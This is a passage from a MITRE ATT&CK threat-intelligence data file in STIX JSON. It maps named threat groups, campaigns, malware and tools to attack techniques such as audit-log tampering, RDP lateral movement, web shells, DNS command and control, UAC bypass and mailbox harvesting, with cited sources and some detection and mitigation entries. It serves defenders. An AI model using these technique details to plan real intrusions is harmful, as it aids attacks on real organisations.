[SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016), used `AUDITPOL` to prevent the collection of audit logs.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4275eb1-4651-4c47-bc14-82a4b7ceec2b","created":"2022-09-29T20:00:23.392Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:00:23.392Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used RDP to access specific network hosts of interest.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c42d1cc1-3685-4bd7-96ba-84a66cc6a287","type":"relationship","created":"2020-07-17T15:48:51.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CME Github September 2018","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}],"modified":"2020-07-29T20:01:02.483Z","description":"[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the system drives and associated system name.(Citation: CME Github September 2018)","relationship_type":"uses","source_ref":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c42f802b-394c-4d6f-bc3f-bf039c971cae","type":"relationship","created":"2021-02-08T23:18:31.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.876Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) has copied itself to the :bin alternate data stream of a newly created file.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c430932c-65d1-4f27-994b-fdf39220e530","created":"2024-06-17T18:28:25.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-02T19:51:17.206Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has used HubSpot and MailerLite marketing platform services to hide the true sender of phishing emails.(Citation: StarBlizzard) ","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c434aa66-8fd2-47f0-8ec4-88a866d99e88","created":"2023-09-27T20:28:06.107Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:28:06.107Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has the ability to use `GetWindowThreadProcessId` to identify the process behind a specified window.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c43ac3ee-be59-419e-8ea2-43c04923102f","created":"2021-01-22T16:47:23.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.429Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from remote mailboxes including through execution of \\\\\\c$\\Users\\\\AppData\\Local\\Microsoft\\Outlook*.ost.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c43e411a-6615-47f5-ba14-b62c78a61572","type":"relationship","created":"2021-05-17T17:26:11.399Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T15:20:43.140Z","description":"Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c43ec2e6-3769-4a1c-b99a-2d8988c7a207","type":"relationship","created":"2021-04-12T16:05:58.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry Bahamut","url":"https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf","description":"The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}],"modified":"2021-05-24T13:16:56.658Z","description":"[Windshift](https://attack.mitre.org/groups/G0112) has used tools to deploy additional payloads to compromised hosts.(Citation: BlackBerry Bahamut)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c443cc21-5f8f-4c12-8848-39c469a1c9b2","type":"relationship","created":"2019-01-29T21:33:34.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2019-04-23T21:17:49.967Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) uses WMI to enumerate installed security products in the victim’s environment.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c44ff9d1-8718-49d7-9054-f7c89a221c93","type":"relationship","created":"2020-10-15T12:05:58.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-28T01:04:39.677Z","description":"Create static ARP entries for networked devices. Implementing static ARP entries may be infeasible for large networks.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c458dfb3-2f9a-4d55-9371-3ecaaf4c60f3","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c45974f5-90b7-4b5b-8123-9961df8ea26d","type":"relationship","created":"2019-03-11T20:01:20.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.905Z","description":"[Empire](https://attack.mitre.org/software/S0363) can enumerate the current network connections of a host.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c45d16b1-9e15-4047-a0c9-4cb31d38ac48","created":"2024-02-06T19:35:59.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T21:29:12.566Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has installed multiple web shells on compromised servers including on Pulse Secure VPN appliances.(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4600507-03d9-471f-a175-d5fd3953c0c6","created":"2022-08-22T15:48:50.916Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."},{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) has relied upon a user downloading a file from a OneDrive link for execution.(Citation: Proofpoint Bumblebee April 2022)(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T14:56:48.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4674c67-09ca-4ac2-8166-1b61c6e863ef","type":"relationship","created":"2021-05-26T13:58:43.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-26T13:58:43.365Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can use a custom DGA to generate a subdomain for C2.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4679389-6780-4ae0-9a04-721b3dbfbb11","created":"2022-03-30T14:26:51.836Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed files that may use scripts automatically executed at boot or logon initialization to establish persistence.","modified":"2022-04-28T15:00:17.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4693c3d-7ec1-4e6d-9788-b3aa39d97e10","created":"2022-09-27T16:38:25.398Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:38:25.398Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors scanned for open ports and used nbtscan to find NETBIOS nameservers.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c46973bd-8af5-4763-8f01-0335d8709668","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackHat Process Doppelgänging Dec 2017","description":"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.","url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"},{"source_name":"hasherezade Process Doppelgänging Dec 2017","description":"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.","url":"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"}]},{"type":"relationship","id":"relationship--c46ab316-6976-41ab-87ea-97f9d435b6cc","created":"2024-09-25T19:06:58.177Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T19:06:58.177Z","description":"(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c46db015-9917-4c7b-8152-c6ad1394baf7","type":"relationship","created":"2020-04-28T12:47:25.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.998Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) used TLS to encrypt command and control (C2) communications.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c4734977-e231-46cd-91c8-ce4be580d543","created":"2021-11-17T17:02:54.345Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to bypass UAC using a `passuac.dll` file.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","modified":"2022-04-15T14:07:50.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c476a0da-44fd-4492-86ae-407aabab3735","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-17T01:49:29.619Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) uses DNS for C2.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c47b3759-8c59-45f7-8ae1-66b49a5359f8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2020-03-24T15:03:43.701Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Total SMB BruteForcer to perform internal password spraying.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c47d3636-65dd-4da1-8c90-e3e7aeb7effb","type":"relationship","created":"2020-05-06T20:40:19.102Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-07-07T12:35:12.068Z","description":"[Attor](https://attack.mitre.org/software/S0438) can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c47e35e1-cf8a-4c2b-b63d-25b37a008226","type":"relationship","created":"2019-01-30T14:00:49.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"}],"modified":"2019-05-30T18:05:32.899Z","description":"[APT18](https://attack.mitre.org/groups/G0026) can collect system information from the victim’s machine.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c4880d8d-3d07-49f6-875b-00b573faebf3","created":"2022-10-13T20:21:25.215Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:21:25.215Z","description":"(Citation: McAfee Honeybee) 